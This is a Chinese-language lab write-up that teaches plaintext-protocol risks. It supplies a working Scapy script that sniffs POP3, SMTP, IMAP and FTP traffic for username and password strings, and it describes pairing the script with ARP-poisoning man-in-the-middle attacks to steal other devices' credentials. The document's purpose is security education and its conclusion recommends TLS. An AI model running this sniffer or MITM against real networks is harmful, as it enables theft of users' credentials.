1. 实验目的
本实验用于学习网络数据包嗅探技术,理解明文协议(如 POP3、SMTP、IMAP、FTP)在网络传输中的安全风险。
通过 Scapy 对网络流量进行捕获与解析,观察应用层协议中可能存在的明文敏感信息,从而加深对网络安全与加密通信必要性的理解。
用Scapy嗅探流量,从中窃取明文的邮箱身份凭证。然后对网络中的攻击目标进行ARP投毒,以此嗅探它们的网络流量。建议你在Linux上使用Scapy,因为它最初就是按照兼容Linux来设计的。
编写一个嗅探器来捕捉主流邮箱协议(SMTP、POP3和IMAP)的身份凭证。之后,用这个嗅探器配合基于ARP投毒的中间人(MITM)攻击,我们就能窃取网络中其他设备的身份凭证。还可以用于其他任何协议,还可以不管具体是什么协议,直接把所有流量都记录到一个pcap文件里,以备后续分析。
Scapy 提供了基于底层数据包捕获能力的嗅探接口 sniff(),可以对经过网卡的流量进行实时分析。
网络数据包 → 网卡捕获 → Scapy解析 → 过滤协议 → 提取payload → 输出分析结果
sniffer(filter='', iface='any', prn=function, count=N)
- filter参数指定一个BPF数据包过滤器
- iface参数用于指定嗅探器要嗅探的网卡,如果不设置的话,默认会嗅探所有网卡
- 如:eth0 / wlan0 / lo
- prn参数用于指定一个回调函数
- 每捕获一个包就调用一次
- count参数可以用来指定你想嗅探多少包
- 0 表示无限
2. 流量分析示例
from scapy.all import sniff, TCP, IP
def packet_callback(packet):
if packet[TCP].payload:
mypacket = bytes(packet[TCP].payload).decode(
errors='ignore'
)
if 'user' in mypacket.lower() or 'pass' in mypacket.lower():
print(f'[*] Destination: {packet[IP].dst}')
print(f'[*] Packet: {mypacket}')
def main():
sniff(
iface='lo',
filter='tcp port 110 or tcp port 25 or tcp port 143 or tcp port 21', # POP3, IMAP, SMTP, FTP
prn=packet_callback,
store=0
)
if __name__ == '__main__':
main()
3 实验环境模拟
3.1 启动模拟服务
一个终端运行该脚本,一个终端模拟邮件协议端口110
$ nc -lvnp 110
listening on [any] 110 ...
3.2 模拟客户端连接
另一个终端模型客户端登录
$ telnet 127.0.0.1 110
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
user
passwd
脚本输出
[*] Destination: 127.0.0.1
[*] Packet: user
[*] Destination: 127.0.0.1
[*] Packet: user
可以看到客户端试图登录127.0.0.1这台服务器,并且发送了明文账号和密码
4 结论
- 明文协议在网络中传输时可能被直接读取
- 嗅探工具可以捕获未加密的应用层数据
- 使用加密协议(如 TLS)可以有效防止信息泄露